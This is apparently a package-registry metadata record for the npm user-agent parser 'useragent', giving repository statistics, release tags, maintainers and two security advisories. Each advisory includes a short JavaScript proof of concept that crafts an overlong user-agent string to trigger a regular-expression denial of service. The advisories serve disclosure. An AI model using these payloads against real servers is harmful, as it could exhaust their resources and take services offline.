{"id":2510307,"name":"useragent","ecosystem":"npm","description":"Fastest, most accurate \u0026 effecient user agent string parser, uses Browserscope's research for parsing","homepage":"https://github.com/3rd-Eden/useragent#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/3rd-Eden/useragent","keywords_array":["agent","browser","browserscope","os","parse","parser","ua","ua-parse","ua-parser","user agent","user","user-agent","useragent","version"],"namespace":null,"versions_count":39,"first_release_published_at":"2010-12-29T19:40:31.654Z","latest_release_published_at":"2018-01-30T00:08:10.984Z","latest_release_number":"2.3.0","last_synced_at":"2026-06-19T10:26:50.940Z","created_at":"2022-04-10T02:48:57.424Z","updated_at":"2026-06-19T10:26:50.940Z","registry_url":"https://www.npmjs.com/package/useragent","install_command":"npm install useragent","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.3.0"}},"repo_metadata":{"id":892298,"uuid":"643395","full_name":"3rd-Eden/useragent","owner":"3rd-Eden","description":"Useragent parser for Node.js, ported from browserscope.org","archived":false,"fork":false,"pushed_at":"2021-10-13T21:38:55.000Z","size":764,"stargazers_count":894,"open_issues_count":73,"forks_count":134,"subscribers_count":30,"default_branch":"master","last_synced_at":"2024-04-14T09:59:33.461Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/3rd-Eden.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2010-05-02T20:08:39.000Z","updated_at":"2024-02-04T21:03:49.000Z","dependencies_parsed_at":"2022-07-20T08:17:36.155Z","dependency_job_id":null,"html_url":"https://github.com/3rd-Eden/useragent","commit_stats":null,"previous_names":[],"tags_count":25,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/3rd-Eden","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":217741905,"owners_count":16223299,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"3rd-Eden","name":"Arnout Kazemier","uuid":"28071","kind":"user","description":"","email":"","website":"www.3rd-Eden.com","location":"the Netherlands","twitter":null,"company":"@godaddy ","icon_url":"https://avatars.githubusercontent.com/u/28071?u=3338a04866970006ddc1c23e0d1a9b2dc48cc0ea\u0026v=4","repositories_count":135,"last_synced_at":"2024-04-14T07:05:09.046Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/3rd-Eden","funding_links":[],"total_stars":3575,"followers":878,"following":130,"created_at":"2022-11-02T16:20:13.747Z","updated_at":"2024-04-14T07:05:32.176Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/3rd-Eden","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/3rd-Eden/repositories"},"tags":[{"name":"2.2.1","sha":"f7f8011cc55e559ca9e312e442efd794ef192ce9","kind":"commit","published_at":"2017-07-12T00:13:57.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.2.1","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"207e5395f3e8c11801aa1841244a0b20112d25f0","kind":"commit","published_at":"2017-07-04T17:49:59.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.2.0","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.2.0/manifests"},{"name":"2.1.13","sha":"8656b673d7a33506efa1709d3b5a6964c8755957","kind":"commit","published_at":"2017-03-21T16:24:31.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.13","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.13/manifests"},{"name":"2.1.12","sha":"50be8cbd7e3b9cbfeaab041de726b5438d07672e","kind":"commit","published_at":"2017-02-06T14:14:51.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.12","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.12/manifests"},{"name":"2.1.11","sha":"deb4ccc193dab355986f7ab3fbc1fe7a3c487765","kind":"commit","published_at":"2017-01-19T15:17:03.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.11","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.11/manifests"},{"name":"2.1.10","sha":"c2f1d74ceeefe1d313c4ba1d8690d300aeb62ba6","kind":"commit","published_at":"2016-12-21T14:14:15.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.10","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.10/manifests"},{"name":"2.1.9","sha":"d51df89d014f4249c0432f20b2e46bc2ddfc86ae","kind":"commit","published_at":"2016-03-23T20:14:02.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.9","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.9/manifests"},{"name":"2.18","sha":"f147f9e4be0f9e8131c963895670cbb2fa366453","kind":"commit","published_at":"2015-12-04T17:23:46.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.18","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.18/manifests"},{"name":"2.1.7","sha":"9cb4c8fbb7df34a1509358aebd33bc72385b5d0a","kind":"commit","published_at":"2015-06-18T15:27:33.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.7","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.7/manifests"},{"name":"2.1.6","sha":"ad02a57b9d8feb13d4e55b00de00e566c9a99325","kind":"commit","published_at":"2015-05-01T08:50:47.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.6","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.6/manifests"},{"name":"2.1.4","sha":"d999271b6eb1bbeb01e9613b7f237a09f969a4ac","kind":"commit","published_at":"2015-01-07T07:46:58.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.4","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.4/manifests"},{"name":"2.1.3","sha":"ecf5bdbe6256d37a2673fb659d6c7eeaef7519f8","kind":"commit","published_at":"2014-11-21T09:01:06.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.3","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.3/manifests"},{"name":"2.1.2","sha":"29110cfd62327aec18dafd9b84c411b475896a30","kind":"commit","published_at":"2014-11-18T12:17:36.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/2.1.2","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/2.1.2/manifests"},{"name":"v2.0.7","sha":"ec718752407a98c98f01211a69eeb7752a38bc65","kind":"commit","published_at":"2013-07-29T08:52:38.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v2.0.7","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v2.0.7/manifests"},{"name":"v2.0.6","sha":"e7367ef8b7535644c612f368329cfdce16f7ae03","kind":"commit","published_at":"2013-06-03T07:08:15.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v2.0.6","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"a725b0ea1f0673ba5f3f7b3986699242d39f7718","kind":"commit","published_at":"2013-06-02T12:07:05.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v2.0.5","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v2.0.5/manifests"},{"name":"v2.0.2","sha":"13102b1d0cb1d318680d315e4361da2174fd6d2b","kind":"tag","published_at":"2013-02-24T12:39:15.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v2.0.2","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v2.0.2/manifests"},{"name":"v1.0.6","sha":"803abd961845f61e71a8d19df1bf2e2c5c646d5d","kind":"tag","published_at":"2012-04-02T08:37:41.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v1.0.6","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.6/manifests"},{"name":"v1.0.5","sha":"d6eaa906d8f0c27e6fbc78916304215704555fd3","kind":"tag","published_at":"2012-01-11T15:20:23.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v1.0.5","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"c97a186482da606705359a65ac8ea0ea6d73d749","kind":"tag","published_at":"2011-12-11T15:28:16.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v1.0.4","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"2ac6fb892f0b3de65c9a93009874706dc8a293be","kind":"tag","published_at":"2011-11-17T18:42:51.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v1.0.3","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"db43ad81bb4882b230838c402efd41ddc6b0af94","kind":"tag","published_at":"2011-10-19T08:24:32.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v1.0.2","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"118e6dad3a59d213dd060b06268478d41553d50a","kind":"tag","published_at":"2011-10-02T20:45:06.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v1.0.1","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"e5c77371a2532d3b5ed1c9fb58c4a07db95cc361","kind":"tag","published_at":"2011-10-01T20:51:48.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v1.0.0","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v1.0.0/manifests"},{"name":"v0.1.2","sha":"a6798b4ca91b54b04d6fa38311a500ed01647be0","kind":"tag","published_at":"2011-05-10T14:30:19.000Z","download_url":"https://codeload.github.com/3rd-Eden/useragent/tar.gz/v0.1.2","html_url":"https://github.com/3rd-Eden/useragent/releases/tag/v0.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v0.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/tags/v0.1.2/manifests"}]},"repo_metadata_updated_at":"2024-09-08T01:24:18.862Z","dependent_packages_count":424,"downloads":3533068,"downloads_period":"last-month","dependent_repos_count":470040,"rankings":{"downloads":0.1505236665682229,"dependent_repos_count":0.05130469722383026,"dependent_packages_count":0.13290412465134735,"stargazers_count":2.4751224055542447,"forks_count":2.6893226001791724,"docker_downloads_count":0.11485415287847091,"average":0.9356719411758814},"purl":"pkg:npm/useragent","advisories":[{"uuid":"GSA_kwCzR0hTQS1tZ2Z2LW00N3gtNHdxcM4ABAsG","url":"https://github.com/advisories/GHSA-mgfv-m47x-4wqp","title":"useragent Regular Expression Denial of Service vulnerability","description":"Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n## PoC\n```js\nasync function exploit() {\n   const useragent = require(\\\"useragent\\\");\n\n   // Create a malicious user-agent that leads to excessive backtracking\n   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';\n\n   // Parse the malicious user-agent\n   const agent = useragent.parse(maliciousUserAgent);\n\n   // Call the toString method to trigger the vulnerability\n   const result = await agent.device.toString();\n   console.log(result);\n}\n\nawait exploit();\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-10-26T21:30:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-26311","https://github.com/3rd-Eden/useragent/issues/167","https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent","https://github.com/3rd-Eden/useragent/commit/4c3ee79358bea72d88fe78ac98f4f861db40b89b","https://github.com/3rd-Eden/useragent/blob/ffa906f923183c85fbb9e6c90f19345e2bd3c52a/lib/regexps.js#L5568","https://github.com/advisories/GHSA-mgfv-m47x-4wqp"],"source_kind":"github","identifiers":["GHSA-mgfv-m47x-4wqp","CVE-2020-26311"],"repository_url":"https://github.com/3rd-Eden/useragent","blast_radius":37.43608979613023,"created_at":"2024-10-28T16:06:52.748Z","updated_at":"2026-04-10T16:03:53.134Z","epss_percentage":0.00122,"epss_percentile":0.31478,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ2Z2LW00N3gtNHdxcM4ABAsG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tZ2Z2LW00N3gtNHdxcM4ABAsG","packages":[{"ecosystem":"npm","package_name":"useragent","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 2.3.0"}],"purl":"pkg:npm/useragent"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tZ2Z2LW00N3gtNHdxcM4ABAsG/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBqbXgtOXhyMy04MnFy","url":"https://github.com/advisories/GHSA-pjmx-9xr3-82qr","title":"ReDoS via long UserAgent header in useragent","description":"Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n\n## Proof of Concept\n```js\nvar useragent = require('useragent');\n\nvar badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';\nvar request = 'GET / HTTP/1.1\\r\\nUser-Agent: ' + badUserAgent + '\\r\\n\\r\\n';\nconsole.log(useragent.parse(request));\n```\n\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2018-07-24T19:59:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2017-16030","https://github.com/advisories/GHSA-pjmx-9xr3-82qr","https://www.npmjs.com/advisories/312"],"source_kind":"github","identifiers":["GHSA-pjmx-9xr3-82qr","CVE-2017-16030"],"repository_url":null,"blast_radius":0.0,"created_at":"2022-12-21T16:13:33.180Z","updated_at":"2026-04-05T20:08:03.754Z","epss_percentage":0.00433,"epss_percentile":0.62521,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBqbXgtOXhyMy04MnFy","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBqbXgtOXhyMy04MnFy","packages":[{"ecosystem":"npm","package_name":"useragent","versions":[{"first_patched_version":"2.1.13","vulnerable_version_range":"\u003c= 2.1.12"}],"purl":"pkg:npm/useragent"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBqbXgtOXhyMy04MnFy/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/useragent","docker_dependents_count":932,"docker_downloads_count":432544546,"usage_url":"https://repos.ecosyste.ms/usage/npm/useragent","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/useragent/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2024-09-08T01:24:16.987Z","issues_count":57,"pull_requests_count":43,"avg_time_to_close_issue":57922307.14285714,"avg_time_to_close_pull_request":11641115.608695652,"issues_closed_count":14,"pull_requests_closed_count":23,"pull_request_authors_count":37,"issue_authors_count":56,"avg_comments_per_issue":1.736842105263158,"avg_comments_per_pull_request":1.744186046511628,"merged_pull_requests_count":12,"bot_issues_count":0,"bot_pull_requests_count":2,"past_year_issues_count":0,"past_year_pull_requests_count":0,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":null,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":0,"past_year_pull_request_authors_count":0,"past_year_issue_authors_count":0,"past_year_avg_comments_per_issue":null,"past_year_avg_comments_per_pull_request":null,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":0,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/3rd-Eden%2Fuseragent/issues","maintainers":[{"login":"3rd-Eden","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/3rd-Eden"}],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/useragent/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/useragent/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/useragent/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/useragent/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/useragent/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/useragent/codemeta","maintainers":[{"uuid":"3rdeden","login":"3rdeden","name":null,"email":"npm@3rd-Eden.com","url":null,"packages_count":478,"html_url":"https://www.npmjs.com/~3rdeden","role":null,"created_at":"2022-11-15T05:52:06.247Z","updated_at":"2022-11-15T05:52:06.247Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/3rdeden/packages"},{"uuid":"v1","login":"v1","name":null,"email":"npm@3rd-Eden.com","url":null,"packages_count":169,"html_url":"https://www.npmjs.com/~v1","role":null,"created_at":"2022-11-15T05:52:06.221Z","updated_at":"2022-11-15T05:52:06.221Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/v1/packages"}]}